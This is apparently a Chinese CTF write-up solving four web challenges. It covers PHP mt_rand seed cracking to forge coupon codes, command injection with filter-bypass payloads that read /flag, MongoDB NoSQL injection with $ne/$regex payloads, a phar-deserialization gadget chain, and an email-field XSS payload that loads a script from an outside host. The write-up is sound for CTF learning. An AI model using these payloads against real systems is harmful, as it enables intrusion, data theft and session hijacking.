WEb 1:用优惠码 买个 X ?
www.zip源码泄露:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>
登录后,题目给了我们15位的优惠码,而购买X的优惠码是24位的,再回过来看看代码,很明显考察php随机数安全问题。
这篇文章分析的不错:https://wonderkun.cc/index.html/?p=585
简单而言,生成优惠码的每一位字母(数)使用的随机数种子相同,即php在产生一系列随机数的时候只进行了一次播种。
而在linux64位的系统中rand()和mt_rand()函数产生的最大随机数都是2^31-1,所以在这个范围内可以爆破。
最初想着直接用php爆破:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
error_reporting(E_ALL);
//生成优惠码
function youhuima($seed){
mt_srand($seed);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
if($auth === "9vmnye6GT7TpzH3"){
echo $seed;
exit();
}
}
for($i=1; $i<999999999; $i++){
youhuima($i);
}
结果卡了很久很久 cpu爆炸..
后来发现已经有大牛写了一个c语言爆破种子的程序:https://www.openwall.com/php_mt_seed/
这里踩了很多坑… 4.0版本make编译报错,3.4的版本跑出来的种子死活都不对..
后来仔细分析,这个和php版本相关:
3.4的爆破脚本中描述:
然鹅我们题目是php7.2的版本
所以这里只能用4.0的爆破程序。
先将字母转换成对应的数字:1
2
3
4
5
6
7
8
9
10
11
12function getseed(){
$str = "8zJag6b";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
}
然后爆破:
拿到种子后,记得在本地将php版本调到7.1+,生成24位的优惠码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function youhuima(){
mt_srand('727588335');
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=24;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
echo $auth;
echo "\nsJO5ciqR";
setcookie('Auth', $auth);
}
接着考察命令执行的漏洞:preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)
m修饰符:换行匹配,所以构造payload:ip=| ls%0a127.0.0.1
这里可以用pcre_match贪婪匹配特性绕过?
参考
第二层:用\或者””绕关键字即可ip=| c""at /f""lag%0a127.0.0.1
拿到flag:swpuctf{**08067_sec**$$%@!~~~~**}
Web2:
提示phpinfo:看到了mangodb,猜想这是nosql注入
这里$ne在mongodb中表示:!=、<>
/check.php?username[$ne]=%5C&password[$ne]=%5C&vertify=zxvz
即表示用户名不为\且(or)密码不为\的用户。
根据提示,可以猜想到密码就是flag
所以可以用$regex模糊查询
参考:https://www.freebuf.com/articles/database/95314.html
爆密码payload:?username[$ne]=1&password[$regex]=^s&vertify=h36f
爆账号payload:?username[$regex]=1&password[$ne]=1&vertify=h36f
然后就是验证码爆破了,花上5毛钱接入打码平台:
1 | # coding:utf-8 |
web3
考点phar反序列化,源码没有unserialize反序列化操作的函数,这是最近blackhat上一个热门议题,phar反序列化。
利用点条件:
- 能将打包好的phar文件上传(扩展名,文件头都可以伪造)
- 存在文件操作函数:
1
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize
具体详细介绍看hpdog师傅的文章:https://www.anquanke.com/post/id/159206#h3-17
这个题的攻击链的构造有一点点小复杂。
先纵观class.php中的三个类:
- C1e4类中的析构函数有一个echo操作
- Show类中有__toString()魔术方法
- show类中的__toString() 中有
$this->str['str']->source;
这样一个操作。 - Test类中有__get()魔术方法,调用私有属性,或者不存在的属性时会触发。
- Test类中get()方法会用file_get_contents()读取文件
- file.php中有文件操作的函数:
file_exists()
所以思路就是:
用Test类中get()读到flag文件,用C1e4类中的echo输出结果。
而中间的过程即:
我们先将三个类分别new一遍。将show的实例化对象赋值给C1e4r类的$str
,使得show对象被echo出来,从而调用show类中的__toString
方法。然后我们将show方法中的$this->str['str']
赋入test对象,这样就会调用test中的source变量,这个变量不存在,所以触发Test类中的__get()
魔术方法,其次Test类的$params
要赋值成一个数组键为source,值为flag路径。
即:1
2
3
4
5
6
7
8
9$a = new Test();
$a->params = [
'source'=> '/var/www/html/f1ag.php'
];
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
完整payload:
1 | <?php |
WEB 4
玩的时候xssbot挂了.. 这里考察filter_var
函数校验绕过
payload:email="<script\ src=https://*.exeye.io/swpu></script>"@qq.com&submit=
1 | <!--check.php |